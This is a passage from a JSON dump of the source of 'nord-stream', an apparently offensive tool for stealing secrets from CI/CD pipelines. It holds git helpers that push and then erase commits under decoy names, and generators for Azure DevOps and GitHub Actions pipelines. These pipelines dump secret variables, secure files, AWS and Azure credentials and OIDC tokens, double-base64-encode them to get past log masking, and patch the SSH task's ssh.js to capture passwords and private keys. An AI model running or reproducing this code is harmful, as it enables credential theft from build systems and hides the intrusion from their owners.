{cls.KEY_ID}\")\n            cls.gitRunCommand(f\"git config commit.gpgsign true\")\n\n        if branchAlreadyExists:\n            cls.gitRunCommand(f\"git checkout {branch}\")\n            return\n\n        cls.gitRunCommand(f\"git checkout --orphan {branch}\")\n        cls.gitRunCommand(f\"git pull origin {branch}\")\n        cls.gitRunCommand(\"git rm . -rf\")\n\n    @classmethod\n    def gitCleanRemote(cls, branch, leaveOneFile=False):\n        logger.verbose(\"Cleaning remote branch\")\n        cls.gitRunCommand(\"git rm . -rf\")\n        cls.gitRunCommand(\"git rm .github/ -rf\")\n\n        if leaveOneFile:\n            fileName = randomString(5) + \"_test_dev.txt\"\n            cls.gitRunCommand(f\"echo {fileName} > {fileName}\")\n            cls.gitRunCommand(f\"git add -A\")\n\n        cls.gitRunCommand(f\"git commit -m '{cls.CLEAN_COMMIT_MSG}'\")\n\n        if leaveOneFile:\n            cls.gitRunCommand(f\"git push origin {branch}\")\n        else:\n            cls.gitRunCommand(f\"git push -d origin {branch}\")\n\n    @classmethod\n    def gitRemoteBranchExists(cls, branch):\n        logger.verbose(\"Checking if remote branch exists\")\n        return cls.gitRunCommand(f\"git ls-remote --exit-code origin {branch}\")\n\n    @classmethod\n    def gitUndoLastPushedCommits(cls, branch, pushedCommitsCount):\n        for _ in range(pushedCommitsCount):\n            cls.gitRunCommand(\"git reset --hard HEAD~\")\n\n        if pushedCommitsCount and not cls.gitRunCommand(f\"git push -f origin {branch}\"):\n            logger.warning(\n                \"Could not delete commit(s) pushed by the tool using hard reset and force push. Trying to revert commits.\"\n            )\n\n            cls.gitRunCommand(\"git pull\")\n            cls.gitRunCommand(f\"git revert --no-commit HEAD~{pushedCommitsCount}..\")\n\n            cls.gitRunCommand(f\"git commit -m '{cls.CLEAN_COMMIT_MSG}'\")\n            if pushedCommitsCount and not cls.gitRunCommand(f\"git push origin {branch}\"):\n                logger.error(\"Error while trying to revert changes !\")\n\n    @staticmethod\n    def gitDeleteRemote(branch):\n        logger.verbose(\"Git delete remote.\")\n        return subprocess.Popen(\n            f\"git push -d origin {branch}\",\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n        )\n\n    @classmethod\n    def gitPush(cls, branch):\n        logger.verbose(\"Pushing to remote branch\")\n        cls.gitRunCommand(\"git add .\")\n        cls.gitRunCommand(f\"git commit -m '{cls.ATTACK_COMMIT_MSG}'\")\n        return subprocess.Popen(\n            f\"git push origin {branch}\",\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n        )\n\n    @classmethod\n    def gitCreateDummyFile(cls, file):\n        cls.gitRunCommand(f\"echo '{file}' > {file}\")\n\n    @classmethod\n    def gitDiffFile(cls, file):\n        return subprocess.Popen(\n            f\"git diff HEAD -- {file}\",\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n        )\n\n    @classmethod\n    def gitMvFile(cls, src, dest):\n        cls.gitRunCommand(f\"mv {src} {dest}\")\n\n    @classmethod\n    def gitCpFile(cls, src, dest):\n        cls.gitRunCommand(f\"cp {src} {dest}\")\n\n    @classmethod\n    def gitCreateDir(cls, directory):\n        cls.gitRunCommand(f\"mkdir -p {directory}\")\n\n    @staticmethod\n    def gitClone(url):\n        res = subprocess.Popen(\n            f\"git clone {url}\",\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n        )\n        res.wait()\n\n        if res.returncode == 0:\n            return True\n        elif b\"You appear to have cloned an empty repository\" in res.communicate()[1].strip():\n            return True\n        else:\n            return False\n\n    @staticmethod\n    def gitGetCurrentBranch():\n        return (\n            subprocess.Popen(\n                \"git rev-parse --abbrev-ref HEAD | tr -d '\\n'\",\n                shell=True,\n                stdout=subprocess.PIPE,\n            )\n            .communicate()[0]\n            .decode(\"UTF-8\")\n        )\n\n    # not needed anymore\n    @staticmethod\n    def gitIsGloalUserConfigured():\n        res = subprocess.Popen(\n            \"git config --global user.Name\",\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n        )\n        res.wait()\n        if res.returncode != 0:\n            return False\n\n        return True\n\n    # not needed anymore\n    @staticmethod\n    def gitIsGloalEmailConfigured():\n        res = subprocess.Popen(\n            \"git config --global user.email\",\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n        )\n        res.wait()\n        if res.returncode != 0:\n            return False\n\n        return True\n"
  },
  {
    "path": "nordstream/utils/constants.py",
    "content": "# All constants\nOUTPUT_DIR = \"nord-stream-logs\"\nDEFAULT_BRANCH_NAME = \"dev_remote_ea5Eu/test/v1\"\nUSER_AGENT = (\n    \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36\"\n)\n\n# GIT constants\nGIT_USER = \"nord-stream\"\nGIT_EMAIL = \"nord-stream@localhost.com\"\nGIT_ATTACK_COMMIT_MSG = \"Test deployment\"\nGIT_CLEAN_COMMIT_MSG = \"Remove test deployment\"\n\n# GITLAB constants\nCOMPLETED_STATES = [\"success\", \"failed\", \"canceled\", \"skipped\"]\n\n# Azure DevOps\nDEFAULT_PIPELINE_NAME = \"Build_pipeline_58675\"\nDEFAULT_REPO_NAME = \"TestDev_ea5Eu\"\nDEFAULT_TASK_NAME = \"Task fWQf8\"\n\n# GitHub\nDEFAULT_WORKFLOW_FILENAME = \"init_ZkITM.yaml\"\n"
  },
  {
    "path": "nordstream/utils/devops.py",
    "content": "import logging\nfrom nordstream.cicd.devops import DevOps\nfrom nordstream.utils.log import logger\n\ndef listOrgs(token):\n    try:\n        response = DevOps.getOrgs(token)\n        logger.info(\"User orgs:\")\n        for org in response:\n            logger.raw(f\"\\t- {org.get('AccountName')}\\n\", logging.INFO)\n    except Exception as e:\n        logger.error(e)"
  },
  {
    "path": "nordstream/utils/errors.py",
    "content": "class DevOpsError(Exception):\n    pass\n\n\nclass GitHubError(Exception):\n    pass\n\n\nclass GitHubBadCredentials(Exception):\n    pass\n\n\nclass GitLabError(Exception):\n    pass\n\n\nclass GitError(Exception):\n    pass\n\n\nclass GitPushError(GitError):\n    pass\n\n\nclass RepoCreationError(Exception):\n    pass\n"
  },
  {
    "path": "nordstream/utils/helpers.py",
    "content": "import random, string\n\ndef isHexadecimal(s):\n    hex_digits = set(\"0123456789abcdefABCDEF\")\n    return all(c in hex_digits for c in s)\n\n\ndef isGitLabSessionCookie(s):\n    return isHexadecimal(s) and len(s) == 32\n\n\ndef isAZDOBearerToken(s):\n    return s.startswith(\"eyJ0\") and len(s) > 52 and s.count(\".\") == 2\n\n\ndef randomString(length):\n    letters = string.ascii_lowercase\n    return \"\".join(random.choice(letters) for i in range(length))\n\n\ndef isAllowed(value, sclist, allow=True):\n    if allow:\n        return value in sclist\n    else:\n        return not value in sclist"
  },
  {
    "path": "nordstream/utils/log.py",
    "content": "\"\"\"\ncustom logging module.\n\"\"\"\n\nimport logging\nimport os\nfrom typing import Any, cast\n\nfrom rich.console import Console\nfrom rich.logging import RichHandler\n\n\n# Blablabla \"roll your own logging handler\"\n# https://github.com/Textualize/rich/issues/2647#issuecomment-1335017733\nclass WhitespaceStrippingConsole(Console):\n    def _render_buffer(self, *args, **kwargs):\n        rendered = super()._render_buffer(*args, **kwargs)\n        newline_char = \"\\n\" if len(rendered) >= 1 and rendered[-1] == \"\\n\" else \"\"\n        return \"\\n\".join(line.rstrip() for line in rendered.splitlines()) + newline_char\n\n\nclass NordStreamLog(logging.Logger):\n    # New logging level\n    SUCCESS: int = 25\n    VERBOSE: int = 15\n\n    @staticmethod\n    def setVerbosity(verbose: int, quiet: bool = False):\n        \"\"\"Set logging level accordingly to the verbose count or with quiet enable.\"\"\"\n        if quiet:\n            logger.setLevel(logging.CRITICAL)\n        elif verbose == 1:\n            logger.setLevel(NordStreamLog.VERBOSE)\n        elif verbose >= 2:\n            logger.setLevel(logging.DEBUG)\n        else:\n            # Default INFO\n            logger.setLevel(logging.INFO)\n\n    def debug(self, msg: Any, *args: Any, **kwargs: Any) -> None:\n        \"\"\"Change default debug text format with rich color support\"\"\"\n        super(NordStreamLog, self).debug(\"{}[D]{} {}\".format(\"[bold yellow3]\", \"[/bold yellow3]\", msg), *args, **kwargs)\n\n    def verbose(self, msg: Any, *args: Any, **kwargs: Any) -> None:\n        \"\"\"Add verbose logging method with text format / rich color support\"\"\"\n        if self.isEnabledFor(NordStreamLog.VERBOSE):\n            self._log(NordStreamLog.VERBOSE, \"{}[V]{} {}\".format(\"[bold blue]\", \"[/bold blue]\", msg), args, **kwargs)\n\n    def raw(\n        self,\n        msg: Any,\n        level=VERBOSE,\n        markup=False,\n        highlight=False,\n        emoji=False,\n        rich_parsing=False,\n    ) -> None:\n        \"\"\"Add raw text logging, used for stream printing.\"\"\"\n        if rich_parsing:\n            markup = True\n            highlight = True\n            emoji = True\n        if self.isEnabledFor(level):\n            if type(msg) is bytes:\n                msg = msg.decode(\"utf-8\", errors=\"ignore\")\n            # Raw message are print directly to the console bypassing logging system and auto formatting\n            console.print(msg, end=\"\", markup=markup, highlight=highlight, emoji=emoji, soft_wrap=True)\n\n    def info(self, msg: Any, *args: Any, **kwargs: Any) -> None:\n        \"\"\"Change default info text format with rich color support\"\"\"\n        super(NordStreamLog, self).info(\"{}[*]{} {}\".format(\"[bold blue]\", \"[/bold blue]\", msg), *args, **kwargs)\n\n    def warning(self, msg: Any, *args: Any, **kwargs: Any) -> None:\n        \"\"\"Change default warning text format with rich color support\"\"\"\n        super(NordStreamLog, self).warning(\n            \"{}[!]{} {}\".format(\"[bold orange3]\", \"[/bold orange3]\", msg), *args, **kwargs\n        )\n\n    def error(self, msg: Any, *args: Any, **kwargs: Any) -> None:\n        \"\"\"Change default error text format with rich color support\"\"\"\n        super(NordStreamLog, self).error(\"{}[-]{} {}\".format(\"[bold red]\", \"[/bold red]\", msg), *args, **kwargs)\n\n    def exception(self, msg: Any, *args: Any, **kwargs: Any) -> None:\n        \"\"\"Change default exception text format with rich color support\"\"\"\n        super(NordStreamLog, self).exception(\"{}[x]{} {}\".format(\"[bold red]\", \"[/bold red]\", msg), *args, **kwargs)\n\n    def critical(self, msg: Any, *args: Any, **kwargs: Any) -> None:\n        \"\"\"Change default critical text format with rich color support\n        Add auto exit.\"\"\"\n        super(NordStreamLog, self).critical(\"{}[!]{} {}\".format(\"[bold red]\", \"[/bold red]\", msg), *args, **kwargs)\n        exit(1)\n\n    def success(self, msg: Any, *args: Any, **kwargs: Any) -> None:\n        \"\"\"Add success logging method with text format / rich color support\"\"\"\n        if self.isEnabledFor(NordStreamLog.SUCCESS):\n            self._log(NordStreamLog.SUCCESS, \"{}[+]{} {}\".format(\"[bold green]\", \"[/bold green]\", msg), args, **kwargs)\n\n    def empty_line(self, log_level: int = logging.INFO) -> None:\n        \"\"\"Print an empty line.\"\"\"\n        self.raw(os.linesep, level=log_level)\n\n\n# Global rich console object\nconsole: Console = WhitespaceStrippingConsole()\n\n# Main logging default config\n# Set default Logger class as NordStreamLog\nlogging.setLoggerClass(NordStreamLog)\n\n# Add new level to the logging config\nlogging.addLevelName(NordStreamLog.VERBOSE, \"VERBOSE\")\nlogging.addLevelName(NordStreamLog.SUCCESS, \"SUCCESS\")\n\n# Logging setup using RichHandler and minimalist text format\nlogging.basicConfig(\n    format=\"%(message)s\",\n    handlers=[\n        RichHandler(\n            rich_tracebacks=True,\n            show_time=False,\n            markup=True,\n            show_level=False,\n            show_path=False,\n            console=console,\n        )\n    ],\n)\n\n# Global logger object\nlogger: NordStreamLog = cast(NordStreamLog, logging.getLogger(\"main\"))\n# Default log level\nlogger.setLevel(logging.INFO)\n"
  },
  {
    "path": "nordstream/yaml/custom.py",
    "content": "import logging\nfrom nordstream.utils.log import logger\nfrom nordstream.yaml.generator import YamlGeneratorBase\n\n\nclass CustomGenerator(YamlGeneratorBase):\n    def loadFile(self, file):\n        logger.verbose(\"Loading YAML file.\")\n        with open(file, \"r\") as templateFile:\n            try:\n                self._defaultTemplate = templateFile.read()\n\n            except Exception as exception:\n                logger.error(\"[+] Error while reading yaml file\")\n                logger.exception(exception)\n\n    def writeFile(self, file):\n        logger.verbose(\"Writing YAML file.\")\n        if logger.getEffectiveLevel() == logging.DEBUG:\n            logger.debug(\"Current yaml file:\")\n            self.displayYaml()\n\n        with open(file, \"w\") as outputFile:\n            outputFile.write(self._defaultTemplate)\n\n    def displayYaml(self):\n        logger.raw(self._defaultTemplate, logging.INFO)\n"
  },
  {
    "path": "nordstream/yaml/devops.py",
    "content": "from nordstream.yaml.generator import YamlGeneratorBase\nfrom nordstream.utils.constants import DEFAULT_TASK_NAME\n\nclass DevOpsPipelineGenerator(YamlGeneratorBase):\n    taskName = DEFAULT_TASK_NAME\n\n    def _get_base_template(self, poolName, os_type):\n        pool = {\"name\": poolName} if poolName else {\n            \"vmImage\": \"windows-latest\" if os_type.lower() == \"windows\" else \"ubuntu-latest\"\n        }\n        return {\n            \"pool\": pool,\n            \"trigger\": \"none\",\n            \"steps\": []\n        }\n\n    def _get_ps_b64_script(self, fetch_logic):\n        \"\"\"Helper to wrap PowerShell variable fetching in Double Base64 encoding.\"\"\"\n        return f\"\"\"{fetch_logic}\nif ($output) {{\n    $output = $output.TrimEnd(\"`n\", \"`r\")\n    $base1 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($output))\n    $base2 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($base1))\n    Write-Host $base2\n    Write-Host \"\"\n}}\"\"\"\n\n    def generatePipelineForSecretExtraction(self, variableGroup, poolName=None, os=\"linux\"):\n        self._defaultTemplate = self._get_base_template(poolName, os)\n        self._defaultTemplate[\"variables\"] = [{\"group\": variableGroup.get(\"name\")}]\n        secrets = variableGroup.get(\"variables\", [])\n\n        if os == \"windows\":\n            secretVars = \"\"\n            for sec in secrets:\n                key = f\"secret_{sec}\"\n                value = f\"$({sec})\"\n                secretVars += f\"'{key}'=\\\"{value}\\\"\\n\"\n            \n            fetch_logic = f\"\"\"$secret_vars = @{{\n{secretVars}\n}}\n\n$output = \"\"\n$secret_vars.GetEnumerator() | ForEach-Object {{\n    $output += \"$($_.Key)=$($_.Value)`n\" \n}}\"\"\"\n\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"PowerShell@2\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"targetType\": \"inline\",\n                    \"script\": self._get_ps_b64_script(fetch_logic)\n                }\n            })\n        else:\n            env_vars = {f\"secret_{sec}\": f\"$({sec})\" for sec in secrets}\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"Bash@3\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"targetType\": \"inline\",\n                    \"script\": \"env -0 | awk -v RS='\\\\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 ; echo \",\n                },\n                \"env\": env_vars,\n            })\n\n    def generatePipelineForSecureFileExtraction(self, secureFile, poolName=None, os=\"linux\"):\n        self._defaultTemplate = self._get_base_template(poolName, os)\n        \n        self._defaultTemplate[\"steps\"].append({\n            \"task\": \"DownloadSecureFile@1\",\n            \"name\": \"secretFile\",\n            \"inputs\": {\"secureFile\": secureFile},\n        })\n\n        if os == \"windows\":\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"PowerShell@2\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"targetType\": \"inline\",\n                    \"script\": self._get_ps_b64_script('$output = Get-Content -Path \"$(secretFile.secureFilePath)\" -Raw')\n                }\n            })\n        else:\n            self._defaultTemplate[\"steps\"].append({\n                \"script\": \"cat $(secretFile.secureFilePath) | base64 -w0 | base64 -w0; echo\",\n                \"displayName\": self.taskName,\n            })\n\n    def generatePipelineForAzureRm(self, azureSubscription, poolName=None, os=\"linux\"):\n        self._defaultTemplate = self._get_base_template(poolName, os)\n        \n        step = {\n            \"task\": \"AzureCLI@2\",\n            \"displayName\": self.taskName,\n            \"inputs\": {\n                \"targetType\": \"inline\",\n                \"addSpnToEnvironment\": True,\n                \"scriptLocation\": \"inlineScript\",\n                \"azureSubscription\": azureSubscription,\n            },\n        }\n\n        if os == \"windows\":\n            step[\"inputs\"][\"scriptType\"] = \"pscore\"\n            step[\"inputs\"][\"inlineScript\"] = self._get_ps_b64_script(\n                '$output = (Get-ChildItem Env: | Where-Object Name -match \"servicePrincipal\" | ForEach-Object { \"$($_.Name)=$($_.Value)\" }) -join \"`n\"'\n            )\n        else:\n            step[\"inputs\"][\"scriptType\"] = \"bash\"\n            step[\"inputs\"][\"inlineScript\"] = 'sh -c \"env | grep \\\\\"^servicePrincipal\\\\\" | base64 -w0 | base64 -w0; echo ;\"'\n            \n        self._defaultTemplate[\"steps\"].append(step)\n\n    def generatePipelineForGitHub(self, endpoint, poolName=None, os=\"linux\"):\n        self._defaultTemplate = self._get_base_template(poolName, os)\n        self._defaultTemplate[\"resources\"] = {\n            \"repositories\": [{\n                \"repository\": \"devRepo\",\n                \"type\": \"github\",\n                \"endpoint\": endpoint,\n                \"name\": \"github/g-emoji-element\",\n            }]\n        }\n        \n        self._defaultTemplate[\"steps\"].append({\"checkout\": \"devRepo\", \"persistCredentials\": True})\n\n        if os == \"windows\":\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"PowerShell@2\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"targetType\": \"inline\",\n                    \"script\": self._get_ps_b64_script('$output = Get-Content -Path \".\\\\.git\\\\config\" -Raw')\n                }\n            })\n        else:\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"Bash@3\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"targetType\": \"inline\",\n                    \"script\": 'sh -c \"cat ./.git/config | base64 -w0 | base64 -w0; echo ;\"',\n                },\n            })\n\n    def generatePipelineForAWS(self, awsCredentials, poolName=None, os=\"linux\"):\n        self._defaultTemplate = self._get_base_template(poolName, os)\n\n        if os == \"windows\":\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"AWSPowerShellModuleScript@1\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"awsCredentials\": awsCredentials,\n                    \"scriptType\": \"inline\",\n                    \"inlineScript\": self._get_ps_b64_script(\n                        '$output = (Get-ChildItem Env: | Where-Object Name -match \"AWS_SECRET_ACCESS_KEY|AWS_ACCESS_KEY_ID\" | ForEach-Object { \"$($_.Name)=$($_.Value)\" }) -join \"`n\"'\n                    )\n                }\n            })\n        else:\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"AWSShellScript@1\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"awsCredentials\": awsCredentials,\n                    \"scriptType\": \"inline\",\n                    \"inlineScript\": 'sh -c \"env | grep -E \\\\\"(AWS_SECRET_ACCESS_KEY|AWS_ACCESS_KEY_ID)\\\\\" | base64 -w0 | base64 -w0; echo ;\"',\n                },\n            })\n\n    def generatePipelineForSonar(self, sonarSCName, poolName=None, os=\"linux\"):\n        self._defaultTemplate = self._get_base_template(poolName, os)\n        self._defaultTemplate[\"steps\"].append({\n            \"task\": \"SonarQubePrepare@6\",\n            \"inputs\": {\"SonarQube\": sonarSCName, \"scannerMode\": \"CLI\", \"projectKey\": \"sonarqube\"},\n        })\n\n        if os == \"windows\":\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"PowerShell@2\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"targetType\": \"inline\",\n                    \"script\": self._get_ps_b64_script(\n                        '$output = (Get-ChildItem Env: | Where-Object Name -match \"SONARQUBE_SCANNER_PARAMS\" | ForEach-Object { \"$($_.Name)=$($_.Value)\" }) -join \"`n\"'\n                    )\n                }\n            })\n        else:\n            self._defaultTemplate[\"steps\"].append({\n                \"task\": \"Bash@3\",\n                \"displayName\": self.taskName,\n                \"inputs\": {\n                    \"targetType\": \"inline\",\n                    \"script\": \"sh -c 'env | grep SONARQUBE_SCANNER_PARAMS | base64 -w0 | base64 -w0; echo ;'\",\n                },\n            })\n\n    def generatePipelineForSSH(self, sshSCName, poolName=None, os=\"linux\"):\n        self._defaultTemplate = self._get_base_template(poolName, os)\n        self._defaultTemplate[\"steps\"].append({\"checkout\": \"none\"})\n\n        if os == \"windows\":\n            self._defaultTemplate[\"steps\"].extend([\n                {\n                    \"task\": \"PowerShell@2\",\n                    \"continueOnError\": True,\n                    \"inputs\": {\n                        \"targetType\": \"inline\",\n                        \"script\": 'Get-ChildItem -Path \"D:\\\\a\\\\\" -Recurse -Filter \"ssh.js\" | ForEach-Object { $p = $_.FullName; copy $p ($p+\".bak\"); (Get-Content -Path $p -Raw) -replace [regex]::Escape(\\'const readyTimeout = getReadyTimeoutVariable();\\'), \\'const readyTimeout = getReadyTimeoutVariable();const fs = require(\"fs\");var data = \"\";data += hostname + \":::\" + port + \":::\" + username + \":::\" + password + \":::\" + privateKey;fs.writeFile(\"artefacts.tar.gz\", data, (err) => {});\\' | Set-Content -Path $p }',\n                    },\n                },\n                {\n                    \"task\": \"SSH@0\",\n                    \"continueOnError\": True,\n                    \"inputs\": {\"sshEndpoint\": sshSCName, \"runOptions\": \"commands\", \"commands\": \"sleep 1\"},\n                },\n                {\n                    \"task\": \"PowerShell@2\",\n                    \"displayName\": self.taskName,\n                    \"inputs\": {\n                        \"targetType\": \"inline\",\n                        \"script\": 'Get-ChildItem -Path \"D:\\\\a\\\\\" -Recurse -Filter \"ssh.js\" | ForEach-Object { $p = $_.FullName; mv -force ($p+\".bak\") $p ;}; $encodedOnce = [Convert]::ToBase64String([IO.File]::ReadAllBytes(\"artefacts.tar.gz\"));$encodedTwice = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($encodedOnce));echo $encodedTwice; echo \\'\\'; rm artefacts.tar.gz;',\n                    },\n                },\n            ])\n        else:\n            self._defaultTemplate[\"steps\"].extend([\n                {\n                    \"script\": 'SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak ; sed -i \\'s|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout = getReadyTimeoutVariable();\\\\nconst fs = require(\"fs\");var data = \"\";data += hostname + \":::\" + port + \":::\" + username + \":::\" + password + \":::\" + privateKey;fs.writeFile(\"/tmp/artefacts.tar.gz\", data, (err) => {});|\\' $SSH_FILE',\n                    \"displayName\": f\"Preparing {self.taskName}\",\n                },\n                {\n                    \"task\": \"SSH@0\",\n                    \"continueOnError\": True,\n                    \"inputs\": {\"sshEndpoint\": sshSCName, \"runOptions\": \"commands\", \"commands\": \"sleep 1\"},\n                },\n                {\n                    \"script\": \"SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo ''; rm /tmp/artefacts.tar.gz\",\n                    \"displayName\": self.taskName,\n                },\n            ])"
  },
  {
    "path": "nordstream/yaml/generator.py",
    "content": "import yaml\nimport logging\nfrom nordstream.utils.log import logger\n\n\nclass YamlGeneratorBase:\n    _defaultTemplate = \"\"\n\n    @property\n    def defaultTemplate(self):\n        return self._defaultTemplate\n\n    @defaultTemplate.setter\n    def defaultTemplate(self, value):\n        logger.warning(\"Using your own yaml template might break stuff.\")\n        self._defaultTemplate = value\n\n    @staticmethod\n    def getEnvironnmentFromYaml(yamlFile):\n        with open(yamlFile, \"r\") as file:\n            try:\n                data = yaml.safe_load(file)\n                return data.get(\"jobs\").get(\"init\").get(\"environment\", None)\n\n            except yaml.YAMLError as exception:\n                logger.exception(\"Yaml error\")\n                logger.exception(exception)\n\n    def loadFile(self, file):\n        logger.verbose(\"Loading YAML file.\")\n        with open(file, \"r\") as templateFile:\n            try:\n                self._defaultTemplate = yaml.load(templateFile, Loader=yaml.BaseLoader)\n\n            except yaml.YAMLError as exception:\n                logger.error(\"[+] Yaml error\")\n                logger.exception(exception)\n\n    def writeFile(self, file):\n        logger.verbose(\"Writing YAML file.\")\n        if logger.getEffectiveLevel() == logging.DEBUG:\n            logger.debug(\"Current yaml file:\")\n            self.displayYaml()\n\n        with open(file, \"w\") as outputFile:\n            yaml.dump(self._defaultTemplate, outputFile, sort_keys=False)\n\n    def displayYaml(self):\n        logger.raw(yaml.dump(self._defaultTemplate, sort_keys=False), logging.INFO)\n"
  },
  {
    "path": "nordstream/yaml/github.py",
    "content": "from nordstream.utils.log import logger\nfrom nordstream.yaml.generator import YamlGeneratorBase\n\n\nclass WorkflowGenerator(YamlGeneratorBase):\n    _defaultTemplate = {\n        \"name\": \"GitHub Actions\",\n        \"on\": \"push\",\n        \"jobs\": {\n            \"init\": {\n                \"runs-on\": \"ubuntu-latest\",\n                \"steps\": [\n                    {\n                        \"run\": \"env -0 | awk -v RS='\\\\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0\",\n                        \"name\": \"command\",\n                        \"env\": None,\n                    }\n                ],\n            }\n        },\n    }\n\n    _OIDCAzureTokenTemplate = {\n        \"name\": \"GitHub Actions\",\n        \"on\": \"push\",\n        \"permissions\": {\"id-token\": \"write\", \"contents\": \"read\"},\n        \"jobs\": {\n            \"init\": {\n                \"runs-on\": \"ubuntu-latest\",\n                \"environment\": None,\n                \"steps\": [\n                    {\n                        \"name\": \"login\",\n                        \"uses\": \"azure/login@v1\",\n                        \"with\": {\"client-id\": None, \"tenant-id\": None, \"allow-no-subscriptions\": True},\n                    },\n                    {\n                        \"name\": \"command\",\n                        \"run\": '(echo \"Access token to use with Azure Resource Manager API:\"; az account get-access-token; echo -e \"\\nAccess token to use with MS Graph API:\"; az account get-access-token --resource-type ms-graph) | base64 -w0 | base64 -w0',\n                    },\n                ],\n            }\n        },\n    }\n\n    _OIDCAWSTokenTemplate = {\n        \"name\": \"GitHub Actions\",\n        \"on\": \"push\",\n        \"permissions\": {\"id-token\": \"write\", \"contents\": \"read\"},\n        \"jobs\": {\n            \"init\": {\n                \"runs-on\": \"ubuntu-latest\",\n                \"environment\": None,\n                \"steps\": [\n                    {\n                        \"name\": \"login\",\n                        \"uses\": \"aws-actions/configure-aws-credentials@v1-node16\",\n                        \"with\": {\"role-to-assume\": None, \"role-session-name\": \"oidcrolesession\", \"aws-region\": None},\n                    },\n                    {\n                        \"name\": \"command\",\n                        \"run\": \"sh -c 'env | grep \\\"^AWS_\\\" | base64 -w0 | base64 -w0'\",\n                    },\n                ],\n            }\n        },\n    }\n\n    def generateWorkflowForSecretsExtraction(self, secrets, env=None):\n        self.addSecretsToYaml(secrets)\n        if env is not None:\n            self.addEnvToYaml(env)\n\n    def generateWorkflowForOIDCAzureTokenGeneration(self, tenant, subscription, client, env=None):\n        self._defaultTemplate = self._OIDCAzureTokenTemplate\n        self.addAzureInfoForOIDCToYaml(tenant, subscription, client)\n\n        if env is not None:\n            self.addEnvToYaml(env)\n\n    def generateWorkflowForOIDCAWSTokenGeneration(self, role, region, env=None):\n        self._defaultTemplate = self._OIDCAWSTokenTemplate\n        self.addAWSInfoForOIDCToYaml(role, region)\n\n        if env is not None:\n            self.addEnvToYaml(env)\n\n    def addEnvToYaml(self, env):\n        try:\n            self._defaultTemplate.get(\"jobs\").get(\"init\")[\"environment\"] = env\n        except TypeError as e:\n            logger.exception(e)\n\n    def getEnv(self):\n        try:\n            return self._defaultTemplate.get(\"jobs\").get(\"init\").get(\"environment\", None)\n        except TypeError as e:\n            logger.exception(e)\n\n    def addSecretsToYaml(self, secrets):\n        self._defaultTemplate.get(\"jobs\").get(\"init\").get(\"steps\")[0][\"env\"] = {}\n        for sec in secrets:\n            key = f\"secret_{sec}\"\n            value = f\"${{{{secrets.{sec}}}}}\"\n            self._defaultTemplate.get(\"jobs\").get(\"init\").get(\"steps\")[0].get(\"env\")[key] = value\n\n    def addAzureInfoForOIDCToYaml(self, tenant, subscription, client):\n        self._defaultTemplate[\"jobs\"][\"init\"][\"steps\"][0][\"with\"][\"tenant-id\"] = tenant\n        self._defaultTemplate[\"jobs\"][\"init\"][\"steps\"][0][\"with\"][\"client-id\"] = client\n\n        if subscription:\n            self._defaultTemplate[\"jobs\"][\"init\"][\"steps\"][0][\"with\"][\"subscription-id\"] = subscription\n\n    def addAWSInfoForOIDCToYaml(self, role, region):\n        self._defaultTemplate[\"jobs\"][\"init\"][\"steps\"][0][\"with\"][\"role-to-assume\"] = role\n        self._defaultTemplate[\"jobs\"][\"init\"][\"steps\"][0][\"with\"][\"aws-region\"] = region\n"
  },
  {
    "path": "nordstream/yaml/gitlab.py",
    "content": "from nordstream.yaml.generator import YamlGeneratorBase\n\n\nclass GitLabPipelineGenerator(YamlGeneratorBase):\n    _defaultTemplate = {}\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[build-system]\nrequires = [\"setuptools\", \"wheel\"]\nbuild-backend = \"setuptools.build_meta\"\n\n[project]\nname = \"nord-stream\"\nversion = \"0.1.0\"\ndescription = \"CICD secrets exfiltration tool\"\nauthors = [{ name=\"@hugow\" }, { name=\"@0hexit\"}]\nlicense = { text = \"GPL-3.0\" }\ndependencies = [\"docopt\", \"PyYAML\", \"requests\", \"rich\"]\n\n[project.scripts]\nnord-stream = \"nordstream.__main__:main\"\n"
  },
  {
    "path": "requirements.txt",
    "content": "docopt\nPyYAML\nrequests\nrich\n"
  }
]